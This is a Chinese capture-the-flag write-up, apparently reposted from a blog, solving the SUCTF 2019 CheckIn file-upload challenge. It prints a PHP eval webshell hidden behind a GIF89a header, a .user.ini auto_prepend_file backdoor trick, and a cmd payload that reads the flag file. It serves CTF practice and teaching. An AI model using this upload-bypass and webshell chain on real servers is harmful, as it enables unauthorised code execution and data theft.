0


[SUCTF 2019]CheckIn1

知识点:

.user.ini文件

图片马

文件头绕过

进入靶机后,看到如图所示,便猜测是文件上传问题

先尝试上传php文件、phtml文件,均显示回显“illegal suffix!”

最后在尝试上传图片jpg(png)文件,显示回显exif_imagetype:not image!

exif_imagetype函数

exif_imagetype() 读取一个图像的第一个字节并检查其签名。如果发现了恰当的签名则返回一个对应的常量,否则返回 FALSE。返回值跟getimagesize() 返回的数组中的索引 2 的值是一样的,但exif_imagetype函数快得多。

即此函数是检测上传文件是否为图片,即可想到文件绕过此检测,我上传的jpg文件,所以在编辑一句话木马时,使用的文件头是 GIF98a。

各类型对应头字节:

  • JPG :FF D8 FF E0 00 10 4A 46 49 46(16进制编码)
  • GIF:47 49 46 38 39 61(ascll值是GIF89a)
  • PNG: 89 50 4E 47

上传一句话图片马文件:1.jpg,得到如下回显

GIF89a?
<script language='php'>eval($_REQUEST['cmd']);</script>

现在已将图片马上传上去了。但是图片马上传上去只是进行了一半,因为图片马,不是php脚本文件,所以无法被解析运行。所以就需要进行重头戏:文件包含漏洞。

.user.ini

php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门。

ps:具体可见文件上传之.user.ini - NineOne_E - 博客园

编辑一个.user.ini文件,进行上传;代码中需要包含jpg的文件头进行绕过,内容中的文件名需要与上传的图片马文件名保持一致。

GIF89a
auto_prepend_file=1.jpg

先上传.user.ini文件,会出现回显:

然后上传图片马,得到回显

进行第一个payload,得到回显GIF98a,即文件上传成功且解析成功,在构造第二个payload:

http://bfb39906-bc18-432a-8087-b1b1fb2a23f5.node4.buuoj.cn:81/uploads/c47b21fcf8f0bc8b3920541abd8024fd/index.php

/uploads/c47b21fcf8f0bc8b3920541abd8024fd/index.php?cmd=var_dump(file_get_contents("/flag"));

即可得到flag

第一次写这个题目的时候,在进行第一次构造payload时,总出现“File not found”的提示,然后就一直找问题所在之处,最后在快要放弃的时候就随手改了一下上传图片马的命名(ps:图片马的名字于.user.ini内容的文件名保持一致)然后就发现有回显了,突然我就意识到,我文件中还有一个和图片马命名一样但是后缀不一样的问件,这也可能是导致我上传失败的原因所在。

标签: eclipse java ide

本文转载自: https://blog.csdn.net/biggerpig/article/details/127102628
版权归原作者 paitoyou 所有, 如有侵权,请联系我们删除。

“[SUCTF 2019]CheckIn1”的评论:

还没有评论